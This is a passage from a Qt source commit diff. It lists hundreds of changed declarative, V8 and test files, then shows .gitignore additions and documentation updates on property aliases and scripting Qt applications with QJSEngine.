-rw-r--r--src/declarative/items/qsgrepeater.cpp146
-rw-r--r--src/declarative/items/qsgscalegrid.cpp2
-rw-r--r--src/declarative/items/qsgshadereffectsource.cpp21
-rw-r--r--src/declarative/items/qsgtext.cpp455
-rw-r--r--src/declarative/items/qsgtext_p_p.h7
-rw-r--r--src/declarative/items/qsgtextedit.cpp850
-rw-r--r--src/declarative/items/qsgtextedit_p.h9
-rw-r--r--src/declarative/items/qsgtextedit_p_p.h22
-rw-r--r--src/declarative/items/qsgtextinput.cpp832
-rw-r--r--src/declarative/items/qsgtextinput_p.h4
-rw-r--r--src/declarative/items/qsgtextinput_p_p.h39
-rw-r--r--src/declarative/items/qsgtextnode.cpp781
-rw-r--r--src/declarative/items/qsgtextnode_p.h38
-rw-r--r--src/declarative/items/qsgtranslate.cpp22
-rw-r--r--src/declarative/items/qsgvisualitemmodel.cpp729
-rw-r--r--src/declarative/particles/defaultshaders/coloredfragment.shader9
-rw-r--r--src/declarative/particles/defaultshaders/coloredvertex.shader (renamed from src/declarative/particles/defaultshaders/trailsvertex.shader)31
-rw-r--r--src/declarative/particles/defaultshaders/ctfragment.shader11
-rw-r--r--src/declarative/particles/defaultshaders/ctvertex.shader38
-rw-r--r--src/declarative/particles/defaultshaders/deformablefragment.shader5
-rw-r--r--src/declarative/particles/defaultshaders/deformablevertex.shader70
-rw-r--r--src/declarative/particles/defaultshaders/imagefragment.shader45
-rw-r--r--src/declarative/particles/defaultshaders/imagevertex.shader (renamed from src/declarative/particles/defaultshaders/ultravertex.shader)129
-rw-r--r--src/declarative/particles/defaultshaders/simplefragment.shader4
-rw-r--r--src/declarative/particles/defaultshaders/simplevertex.shader33
-rw-r--r--src/declarative/particles/defaultshaders/spritefragment.shader9
-rw-r--r--src/declarative/particles/defaultshaders/spritevertex.shader90
-rw-r--r--src/declarative/particles/defaultshaders/superfragment.shader11
-rw-r--r--src/declarative/particles/defaultshaders/tabledfragment.shader23
-rw-r--r--src/declarative/particles/defaultshaders/tabledvertex.shader (renamed from src/declarative/particles/defaultshaders/supervertex.shader)13
-rw-r--r--src/declarative/particles/defaultshaders/trailsfragment.shader8
-rw-r--r--src/declarative/particles/defaultshaders/ultrafragment.shader16
-rw-r--r--src/declarative/particles/particles.pri6
-rw-r--r--src/declarative/particles/particles.qrc16
-rw-r--r--src/declarative/particles/qsgangleddirection.cpp1
-rw-r--r--src/declarative/particles/qsgcumulativedirection.cpp1
-rw-r--r--src/declarative/particles/qsgcustomemitter.cpp189
-rw-r--r--src/declarative/particles/qsgcustomparticle.cpp5
-rw-r--r--src/declarative/particles/qsgellipseextruder.cpp1
-rw-r--r--src/declarative/particles/qsgemitter.cpp262
-rw-r--r--src/declarative/particles/qsgfollowemitter.cpp88
-rw-r--r--src/declarative/particles/qsgfollowemitter_p.h2
-rw-r--r--src/declarative/particles/qsgfriction.cpp1
-rw-r--r--src/declarative/particles/qsggravity.cpp1
-rw-r--r--src/declarative/particles/qsgimageparticle.cpp923
-rw-r--r--src/declarative/particles/qsgimageparticle_p.h114
-rw-r--r--src/declarative/particles/qsgitemparticle.cpp1
-rw-r--r--src/declarative/particles/qsgkill.cpp1
-rw-r--r--src/declarative/particles/qsglineextruder.cpp1
-rw-r--r--src/declarative/particles/qsgmaskextruder.cpp1
-rw-r--r--src/declarative/particles/qsgmodelparticle.cpp1
-rw-r--r--src/declarative/particles/qsgparticleaffector.cpp28
-rw-r--r--src/declarative/particles/qsgparticleaffector_p.h2
-rw-r--r--src/declarative/particles/qsgparticleemitter.cpp307
-rw-r--r--src/declarative/particles/qsgparticleemitter_p.h58
-rw-r--r--src/declarative/particles/qsgparticleextruder.cpp1
-rw-r--r--src/declarative/particles/qsgparticlepainter.cpp1
-rw-r--r--src/declarative/particles/qsgparticlesmodule.cpp18
-rw-r--r--src/declarative/particles/qsgparticlesystem.cpp3
-rw-r--r--src/declarative/particles/qsgpointattractor.cpp1
-rw-r--r--src/declarative/particles/qsgpointattractor_p.h2
-rw-r--r--src/declarative/particles/qsgpointdirection.cpp1
-rw-r--r--src/declarative/particles/qsgspritegoal.cpp1
-rw-r--r--src/declarative/particles/qsgstochasticdirection.cpp1
-rw-r--r--src/declarative/particles/qsgtargeteddirection.cpp1
-rw-r--r--src/declarative/particles/qsgturbulence.cpp1
-rw-r--r--src/declarative/particles/qsgwander.cpp1
-rw-r--r--src/declarative/qml/qdeclarative.h11
-rw-r--r--src/declarative/qml/qdeclarativecompiler.cpp45
-rw-r--r--src/declarative/qml/qdeclarativecustomparser_p.h3
-rw-r--r--src/declarative/qml/qdeclarativeengine.cpp21
-rw-r--r--src/declarative/qml/qdeclarativeinstruction.cpp3
-rw-r--r--src/declarative/qml/qdeclarativeinstruction_p.h12
-rw-r--r--src/declarative/qml/qdeclarativeparser.cpp2
-rw-r--r--src/declarative/qml/qdeclarativeparser_p.h1
-rw-r--r--src/declarative/qml/qdeclarativeproperty.cpp6
-rw-r--r--src/declarative/qml/qdeclarativescriptparser.cpp1
-rw-r--r--src/declarative/qml/qdeclarativestringconverters.cpp33
-rw-r--r--src/declarative/qml/qdeclarativestringconverters_p.h2
-rw-r--r--src/declarative/qml/qdeclarativevaluetype.cpp216
-rw-r--r--src/declarative/qml/qdeclarativevaluetype_p.h60
-rw-r--r--src/declarative/qml/qdeclarativevme.cpp10
-rw-r--r--src/declarative/qml/qdeclarativevmemetaobject.cpp2
-rw-r--r--src/declarative/qml/qdeclarativexmlhttprequest.cpp73
-rw-r--r--src/declarative/qml/qintrusivelist.cpp6
-rw-r--r--src/declarative/qml/qintrusivelist_p.h13
-rw-r--r--src/declarative/qml/v8/qhashedstring.cpp34
-rw-r--r--src/declarative/qml/v8/qhashedstring_p.h34
-rw-r--r--src/declarative/qml/v8/qjsconverter_p.h3
-rw-r--r--src/declarative/qml/v8/qjsengine.cpp178
-rw-r--r--src/declarative/qml/v8/qjsengine.h4
-rw-r--r--src/declarative/qml/v8/qjsvalue.cpp115
-rw-r--r--src/declarative/qml/v8/qjsvalue.h4
-rw-r--r--src/declarative/qml/v8/qjsvalue_impl_p.h53
-rw-r--r--src/declarative/qml/v8/qjsvalue_p.h33
-rw-r--r--src/declarative/qml/v8/qjsvalueiterator.cpp169
-rw-r--r--src/declarative/qml/v8/qjsvalueiterator.h4
-rw-r--r--src/declarative/qml/v8/qjsvalueiterator_impl_p.h121
-rw-r--r--src/declarative/qml/v8/qjsvalueiterator_p.h68
-rw-r--r--src/declarative/qml/v8/qscript_impl_p.h1
-rw-r--r--src/declarative/qml/v8/qscriptoriginalglobalobject_p.h4
-rw-r--r--src/declarative/qml/v8/qscripttools_p.h182
-rw-r--r--src/declarative/qml/v8/qv8_p.h41
-rw-r--r--src/declarative/qml/v8/qv8bindings.cpp34
-rw-r--r--src/declarative/qml/v8/qv8bindings_p.h34
-rw-r--r--src/declarative/qml/v8/qv8contextwrapper.cpp34
-rw-r--r--src/declarative/qml/v8/qv8debug_p.h1
-rw-r--r--src/declarative/qml/v8/qv8domerrors.cpp73
-rw-r--r--src/declarative/qml/v8/qv8domerrors_p.h (renamed from src/declarative/particles/qsgemitter_p.h)100
-rw-r--r--src/declarative/qml/v8/qv8engine.cpp159
-rw-r--r--src/declarative/qml/v8/qv8engine_impl_p.h30
-rw-r--r--src/declarative/qml/v8/qv8engine_p.h53
-rw-r--r--src/declarative/qml/v8/qv8include.cpp34
-rw-r--r--src/declarative/qml/v8/qv8listwrapper.cpp36
-rw-r--r--src/declarative/qml/v8/qv8listwrapper_p.h34
-rw-r--r--src/declarative/qml/v8/qv8qobjectwrapper.cpp44
-rw-r--r--src/declarative/qml/v8/qv8qobjectwrapper_p.h34
-rw-r--r--src/declarative/qml/v8/qv8stringwrapper.cpp42
-rw-r--r--src/declarative/qml/v8/qv8stringwrapper_p.h34
-rw-r--r--src/declarative/qml/v8/qv8typewrapper.cpp52
-rw-r--r--src/declarative/qml/v8/qv8valuetypewrapper.cpp105
-rw-r--r--src/declarative/qml/v8/qv8valuetypewrapper_p.h6
-rw-r--r--src/declarative/qml/v8/qv8variantwrapper.cpp47
-rw-r--r--src/declarative/qml/v8/qv8variantwrapper_p.h1
-rw-r--r--src/declarative/qml/v8/qv8worker.cpp34
-rw-r--r--src/declarative/qml/v8/qv8worker_p.h34
-rw-r--r--src/declarative/qml/v8/script.pri4
-rw-r--r--src/declarative/qml/v8/v8.pri5
-rw-r--r--src/declarative/scenegraph/coreapi/qsgnode.cpp14
-rw-r--r--src/declarative/scenegraph/coreapi/qsgrenderer.cpp32
-rw-r--r--src/declarative/scenegraph/qsgadaptationlayer_p.h9
-rw-r--r--src/declarative/scenegraph/qsgcontext.cpp68
-rw-r--r--src/declarative/scenegraph/qsgcontext_p.h4
-rw-r--r--src/declarative/scenegraph/qsgdefaultglyphnode_p.h2
-rw-r--r--src/declarative/scenegraph/qsgdistancefieldglyphcache.cpp227
-rw-r--r--src/declarative/scenegraph/qsgdistancefieldglyphcache_p.h70
-rw-r--r--src/declarative/scenegraph/qsgdistancefieldglyphnode.cpp31
-rw-r--r--src/declarative/scenegraph/qsgdistancefieldglyphnode_p.cpp119
-rw-r--r--src/declarative/scenegraph/qsgdistancefieldglyphnode_p.h8
-rw-r--r--src/declarative/scenegraph/qsgdistancefieldglyphnode_p_p.h9
-rw-r--r--src/declarative/scenegraph/util/qsgflatcolormaterial.h2
-rw-r--r--src/declarative/util/qdeclarativeanimation.cpp102
-rw-r--r--src/declarative/util/qdeclarativebehavior.cpp6
-rw-r--r--src/declarative/util/qdeclarativebind.cpp31
-rw-r--r--src/declarative/util/qdeclarativechangeset.cpp688
-rw-r--r--src/declarative/util/qdeclarativechangeset_p.h123
-rw-r--r--src/declarative/util/qdeclarativeconnections.cpp6
-rw-r--r--src/declarative/util/qdeclarativefontloader.cpp8
-rw-r--r--src/declarative/util/qdeclarativelistmodel.cpp24
-rw-r--r--src/declarative/util/qdeclarativelistmodel_p.h1
-rw-r--r--src/declarative/util/qdeclarativepackage.cpp3
-rw-r--r--src/declarative/util/qdeclarativepath.cpp52
-rw-r--r--src/declarative/util/qdeclarativepropertychanges.cpp8
-rw-r--r--src/declarative/util/qdeclarativepropertymap.cpp1
-rw-r--r--src/declarative/util/qdeclarativesmoothedanimation.cpp10
-rw-r--r--src/declarative/util/qdeclarativespringanimation.cpp14
-rw-r--r--src/declarative/util/qdeclarativestate.cpp22
-rw-r--r--src/declarative/util/qdeclarativestate_p.h2
-rw-r--r--src/declarative/util/qdeclarativestate_p_p.h2
-rw-r--r--src/declarative/util/qdeclarativestategroup.cpp32
-rw-r--r--src/declarative/util/qdeclarativestategroup_p.h4
-rw-r--r--src/declarative/util/qdeclarativestateoperations.cpp5
-rw-r--r--src/declarative/util/qdeclarativesystempalette.cpp32
-rw-r--r--src/declarative/util/qdeclarativetimer.cpp18
-rw-r--r--src/declarative/util/qdeclarativetransition.cpp66
-rw-r--r--src/declarative/util/qdeclarativetransition_p.h5
-rw-r--r--src/declarative/util/qdeclarativetransitionmanager.cpp2
-rw-r--r--src/declarative/util/qdeclarativeutilmodule.cpp4
-rw-r--r--src/declarative/util/qdeclarativexmllistmodel.cpp347
-rw-r--r--src/declarative/util/qlistmodelinterface.cpp1
-rw-r--r--src/declarative/v8/0001-Add-hashing-and-comparison-methods-to-v8-String.patch2
-rw-r--r--src/declarative/v8/0002-Add-a-bit-field-3-to-Map.patch2
-rw-r--r--src/declarative/v8/0003-Add-a-fallback-mode-for-named-property-interceptors.patch2
-rw-r--r--src/declarative/v8/0004-Generalize-external-object-resources.patch2
-rw-r--r--src/declarative/v8/0005-Introduce-a-QML-compilation-mode.patch2
-rw-r--r--src/declarative/v8/0006-Allow-access-to-the-calling-script-data.patch2
-rw-r--r--src/declarative/v8/0007-Fix-warnings.patch2
-rw-r--r--src/declarative/v8/0008-Add-custom-object-compare-callback.patch2
-rw-r--r--src/declarative/v8/0009-Add-CallAsFunction-method-to-the-Object-class-in-the.patch (renamed from src/v8/0009-Add-CallAsFunction-method-to-the-Object-class-in-the.patch)26
-rw-r--r--src/declarative/v8/0010-Implement-CallAsConstructor-method-for-Object-in-the.patch (renamed from src/v8/0010-Implement-CallAsConstructor-method-for-Object-in-the.patch)36
-rw-r--r--src/declarative/v8/0011-QtScript-V8-Add-new-v8-api-to-check-if-a-value-is-an.patch (renamed from src/v8/0011-QtScript-V8-Add-new-v8-api-to-check-if-a-value-is-an.patch)10
-rw-r--r--src/declarative/v8/0012-Add-IsCallable-method-for-Object-in-the-API.patch116
-rw-r--r--src/declarative/v8/0013-Remove-execute-flag-from-v8-debug.h.patch15
-rw-r--r--src/declarative/v8/v8base.pri9
-rwxr-xr-xsrc/declarative/v8/wrapcc.pl36
-rw-r--r--src/imports/testlib/SignalSpy.qml6
-rw-r--r--src/imports/testlib/TestCase.qml4
-rw-r--r--src/imports/testlib/main.cpp8
-rw-r--r--src/qmltest/quicktest.cpp13
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativeanimatedimage.cpp2
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativeborderimage.cpp6
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativeflickable.cpp9
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativeflipable.cpp2
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativegridview.cpp22
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativeimage.cpp2
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativeitem.cpp10
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativelistview.cpp27
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativeloader.cpp14
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativemousearea.cpp12
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativepath.cpp4
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativepathview.cpp27
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativepathview_p.h1
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativepositioners.cpp8
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativerectangle.cpp10
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativerepeater.cpp10
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativescalegrid.cpp2
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativetext.cpp2
-rw-r--r--src/qtquick1/graphicsitems/qdeclarativevisualitemmodel.cpp6
-rw-r--r--src/qtquick1/util/qdeclarativeanimation.cpp30
-rw-r--r--src/qtquick1/util/qdeclarativebehavior.cpp2
-rw-r--r--src/qtquick1/util/qdeclarativebind.cpp3
-rw-r--r--src/qtquick1/util/qdeclarativelistmodel.cpp16
-rw-r--r--src/qtquick1/util/qdeclarativepropertychanges.cpp6
-rw-r--r--src/qtquick1/util/qdeclarativesmoothedanimation.cpp2
-rw-r--r--src/qtquick1/util/qdeclarativespringanimation.cpp2
-rw-r--r--src/qtquick1/util/qdeclarativestate.cpp4
-rw-r--r--src/qtquick1/util/qdeclarativestategroup.cpp4
-rw-r--r--src/qtquick1/util/qdeclarativestateoperations.cpp4
-rw-r--r--src/qtquick1/util/qdeclarativesystempalette.cpp2
-rw-r--r--src/qtquick1/util/qdeclarativetransition.cpp14
-rw-r--r--src/qtquick1/util/qdeclarativexmllistmodel.cpp6
-rw-r--r--sync.profile1
-rw-r--r--tests/auto/declarative/examples/examples.pro2
-rw-r--r--tests/auto/declarative/examples/tst_examples.cpp6
-rw-r--r--tests/auto/declarative/nodes/tst_nodestest.cpp2
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/data/disabledTransition.qml30
-rw-r--r--tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp27
-rw-r--r--tests/auto/declarative/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp4
-rw-r--r--tests/auto/declarative/qdeclarativebinding/data/deletedObject.qml24
-rw-r--r--tests/auto/declarative/qdeclarativebinding/tst_qdeclarativebinding.cpp17
-rw-r--r--tests/auto/declarative/qdeclarativechangeset/tst_qdeclarativechangeset.cpp1007
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/AliasPropertyComponent.qml17
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.1.qml23
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.2.qml23
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.3.qml31
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.4.qml26
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.5.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasreset/aliasPropertyReset.error.1.qml18
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/declarativeHasOwnProperty.qml72
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp132
-rw-r--r--tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp19
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignBasicTypes.qml1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVariant.qml1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.3.errors.txt2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/dynamicMeta.4.errors.txt2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/method.1.errors.txt2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/signal.4.errors.txt2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/testtypes.h10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp3
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/data/signalhandlers.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp13
-rw-r--r--tests/auto/declarative/qdeclarativeproperty/data/NoContextTypeA.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeproperty/data/NoContextTypeB.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeqt/data/vector4.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeqt/tst_qdeclarativeqt.cpp21
-rw-r--r--tests/auto/declarative/qdeclarativestates/data/anchorRewindBug.qml2
-rw-r--r--tests/auto/declarative/qdeclarativestates/tst_qdeclarativestates.cpp15
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/color_compare.qml37
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/color_read.qml9
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/color_write.qml8
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/font_compare.qml31
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/matrix4x4_compare.qml35
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/point_compare.qml22
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/pointf_compare.qml22
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/quaternion_compare.qml23
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/rect_compare.qml25
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/rectf_compare.qml25
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/size_compare.qml23
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/sizef_compare.qml24
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/vector2d_compare.qml21
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/vector3d_compare.qml23
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/data/vector4d_compare.qml23
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/testtypes.h28
-rw-r--r--tests/auto/declarative/qdeclarativevaluetypes/tst_qdeclarativevaluetypes.cpp297
-rw-r--r--tests/auto/declarative/qjsengine/tst_qjsengine.cpp57
-rw-r--r--tests/auto/declarative/qjsvalue/tst_qjsvalue.cpp1
-rw-r--r--tests/auto/declarative/qsgborderimage/data/colors-round-quotes.sci7
-rw-r--r--tests/auto/declarative/qsgborderimage/qsgborderimage.pro2
-rw-r--r--tests/auto/declarative/qsgborderimage/tst_qsgborderimage.cpp2
-rw-r--r--tests/auto/declarative/qsgflickable/tst_qsgflickable.cpp3
-rw-r--r--tests/auto/declarative/qsgfocusscope/qsgfocusscope.pro2
-rw-r--r--tests/auto/declarative/qsggridview/data/gridview-initCurrent.qml13
-rw-r--r--tests/auto/declarative/qsggridview/data/gridview1.qml1
-rw-r--r--tests/auto/declarative/qsggridview/tst_qsggridview.cpp36
-rw-r--r--tests/auto/declarative/qsgimage/tst_qsgimage.cpp6
-rw-r--r--tests/auto/declarative/qsgitem/tst_qsgitem.cpp51
-rw-r--r--tests/auto/declarative/qsglistview/data/listview-enforcerange-nohighlight.qml61
-rw-r--r--tests/auto/declarative/qsglistview/data/listview-initCurrent.qml13
-rw-r--r--tests/auto/declarative/qsglistview/tst_qsglistview.cpp128
-rw-r--r--tests/auto/declarative/qsgmousearea/data/hoverPropagation.qml54
-rw-r--r--tests/auto/declarative/qsgmousearea/data/pressedCanceled.qml18
-rw-r--r--tests/auto/declarative/qsgmousearea/tst_qsgmousearea.cpp77
-rw-r--r--tests/auto/declarative/qsgpathview/data/pathview0.qml1
-rw-r--r--tests/auto/declarative/qsgpathview/tst_qsgpathview.cpp60
-rw-r--r--tests/auto/declarative/qsgpositioners/data/attachedproperties-column.qml50
-rw-r--r--tests/auto/declarative/qsgpositioners/data/attachedproperties-dynamic.qml44
-rw-r--r--tests/auto/declarative/qsgpositioners/data/attachedproperties-flow.qml50
-rw-r--r--tests/auto/declarative/qsgpositioners/data/attachedproperties-grid.qml50
-rw-r--r--tests/auto/declarative/qsgpositioners/data/attachedproperties-row.qml50
-rw-r--r--tests/auto/declarative/qsgpositioners/data/grid-row-column-spacing.qml43
-rw-r--r--tests/auto/declarative/qsgpositioners/data/horizontal-animated-disabled.qml40
-rw-r--r--tests/auto/declarative/qsgpositioners/data/horizontal-animated.qml3
-rw-r--r--tests/auto/declarative/qsgpositioners/data/rectangleComponent.qml11
-rw-r--r--tests/auto/declarative/qsgpositioners/tst_qsgpositioners.cpp189
-rw-r--r--tests/auto/declarative/qsgtext/tst_qsgtext.cpp40
-rw-r--r--tests/auto/declarative/qsgtextedit/qsgtextedit.pro2
-rw-r--r--tests/auto/declarative/qsgtextedit/tst_qsgtextedit.cpp62
-rw-r--r--tests/auto/declarative/qsgtextinput/data/positionAt.qml2
-rw-r--r--tests/auto/declarative/qsgtextinput/tst_qsgtextinput.cpp110
-rw-r--r--tests/auto/declarative/qsgvisualdatamodel/data/modelproperties.qml2
-rw-r--r--tests/auto/declarative/qsgvisualdatamodel/data/modelproperties2.qml2
-rw-r--r--tests/auto/declarative/qsgvisualdatamodel/data/objectlist.qml2
-rw-r--r--tests/auto/declarative/qsgvisualdatamodel/data/singlerole1.qml2
-rw-r--r--tests/auto/declarative/qsgvisualdatamodel/data/singlerole2.qml2
-rw-r--r--tests/auto/declarative/qsgvisualdatamodel/tst_qsgvisualdatamodel.cpp1
-rw-r--r--tests/auto/qtquick1/moduleqt47/tst_moduleqt47.cpp3
-rw-r--r--tests/auto/qtquick1/qdeclarativebehaviors/tst_qdeclarativebehaviors.cpp3
-rw-r--r--tests/auto/qtquick1/qdeclarativebinding/data/deletedObject.qml24
-rw-r--r--tests/auto/qtquick1/qdeclarativebinding/tst_qdeclarativebinding.cpp17
-rw-r--r--tests/auto/qtquick1/qdeclarativeborderimage/data/colors-round-quotes.sci7
-rw-r--r--tests/auto/qtquick1/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp2
-rw-r--r--tests/auto/qtquick1/qdeclarativeflipable/qdeclarativeflipable.pro1
-rw-r--r--tests/auto/qtquick1/qdeclarativefocusscope/qdeclarativefocusscope.pro1
-rw-r--r--tests/auto/qtquick1/qdeclarativeitem/qdeclarativeitem.pro1
-rw-r--r--tests/auto/qtquick1/qdeclarativetext/tst_qdeclarativetext.cpp3
-rw-r--r--tests/auto/qtquick1/qdeclarativetextedit/tst_qdeclarativetextedit.cpp3
-rw-r--r--tests/auto/qtquick1/qdeclarativetextinput/tst_qdeclarativetextinput.cpp9
-rw-r--r--tests/benchmarks/declarative/declarative.pro3
-rw-r--r--tests/benchmarks/declarative/js/js.pro10
-rw-r--r--tests/benchmarks/declarative/js/qjsengine/qjsengine.pro12
-rw-r--r--tests/benchmarks/declarative/js/qjsengine/tst_qjsengine.cpp677
-rw-r--r--tests/benchmarks/declarative/js/qjsvalue/qjsvalue.pro7
-rw-r--r--tests/benchmarks/declarative/js/qjsvalue/tst_qjsvalue.cpp1061
-rw-r--r--tests/benchmarks/declarative/js/qjsvalueiterator/qjsvalueiterator.pro7
-rw-r--r--tests/benchmarks/declarative/js/qjsvalueiterator/tst_qjsvalueiterator.cpp311
-rw-r--r--tests/systemtests/declarative/qsgimage/ImageNG.qml41
-rw-r--r--tests/systemtests/declarative/qsgimage/img-align.qml41
-rw-r--r--tools/qmlscene/main.cpp6
-rw-r--r--tools/qmlscene/qmlscene.pro4
-rw-r--r--tools/qmltestrunner/qmltestrunner.pro6
-rw-r--r--tools/qmlviewer/main.cpp3
-rw-r--r--tools/qmlviewer/qmlviewer.pro6
741 files changed, 46556 insertions, 6715 deletions
diff --git a/.gitignore b/.gitignore
index 021ff2a1ca..c407fb6d1a 100644
--- a/.gitignore
+++ b/.gitignore
@@ -114,6 +114,7 @@ tests/auto/qlibrary/libmylib.so*
tests/auto/qresourceengine/runtime_resource.rcc
tools/qtestlib/chart/chart*
tools/qtestlib/updater/updater*
+tools/qmltestrunner/qmltestrunner
tools/activeqt/testcon/testcon.tlb
translations/*.qm
translations/*_untranslated.ts
@@ -261,3 +262,13 @@ src/xml/lib/
*.dep
*.map
work
+
+#generated version headers
+src/qmltest/qtquicktestversion.h
+src/qtquick1/qtquick1version.h
+
+tests/auto/*/*.o
+tests/auto/*/*.moc
+tests/auto/*/*/*.o
+tests/auto/*/*/*.moc
+src/declarative/generated/ \ No newline at end of file
diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc
index a861a66a58..bcabaccc00 100644
--- a/doc/src/declarative/elements.qdoc
+++ b/doc/src/declarative/elements.qdoc
@@ -32,7 +32,7 @@
\brief A listing of standard QML elements.
These are the functionally grouped lists of QML elements as part of
-\l{Qt Quick}.
+\l{Qt Quick}. You can also browse the module pages for \l{QtQuick 1}, \l{QtQuick 2} and \l{QtQuick.Particles 2}
Elements are declared with the their name and two curly braces. Elements may
be nested in elements, thereby creating a parent-child relationship between the
diff --git a/doc/src/declarative/qmlreusablecomponents.qdoc b/doc/src/declarative/qmlreusablecomponents.qdoc
index 850aaecfc4..9860dd4aa2 100644
--- a/doc/src/declarative/qmlreusablecomponents.qdoc
+++ b/doc/src/declarative/qmlreusablecomponents.qdoc
@@ -139,5 +139,22 @@ children which is beneficial for certain types of interfaces. However, since
to be exposed.
\snippet doc/src/snippets/declarative/reusablecomponents/focusbutton.qml document
-*/
+\section2 Child Components
+
+Objects or Items declared within a component can be made accessible by binding their id to a
+property alias.
+
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent begin
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml object alias
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml text
+\snippet doc/src/snippets/declarative/reusablecomponents/Button.qml parent end
+
+The advantage of using an alias instead a property of type of the object is that the value of
+the alias cannot be overridden, and members of the object can be used in property bindings when
+declaring an instance of the component.
+\snippet doc/src/snippets/declarative/reusablecomponents/application.qml grouped property
+If a property of type \c Text was used instead of an alias in this instance there would be no
+guarantee that \c label would be initialized before the binding was attempted which would cause
+the binding to fail.
+*/
diff --git a/doc/src/declarative/qtjavascript.qdoc b/doc/src/declarative/qtjavascript.qdoc
new file mode 100644
index 0000000000..6d5e237c63
--- /dev/null
+++ b/doc/src/declarative/qtjavascript.qdoc
@@ -0,0 +1,92 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+ \group qtjavascript
+ \title Scripting Classes and Overviews
+
+ \brief Classes for embedding JavaScript in Qt/C++ applications.
+*/
+
+/*!
+ \page qtjavascript.html
+ \title Making Applications Scriptable
+ \ingroup frameworks-technologies
+
+ Qt provides support for application scripting with JavaScript.
+ The following guides and references cover aspects of programming with
+ JavaScript and Qt.
+
+ \tableofcontents
+
+ \section1 Scripting Classes
+
+ The following classes add scripting capabilities to Qt applications.
+
+ \annotatedlist qtjavascript
+
+ \section1 Basic Usage
+
+ To evaluate script code, you create a QJSEngine and call its
+ evaluate() function, passing the script code (text) to evaluate
+ as argument.
+
+ \snippet doc/src/snippets/qtjavascript/evaluation/main.cpp 0
+
+ The return value will be the result of the evaluation (represented
+ as a QJSValue object); this can be converted to standard C++
+ and Qt types.
+
+ Custom properties can be made available to scripts by registering
+ them with the script engine. This is most easily done by setting
+ properties of the script engine's \e{Global Object}:
+
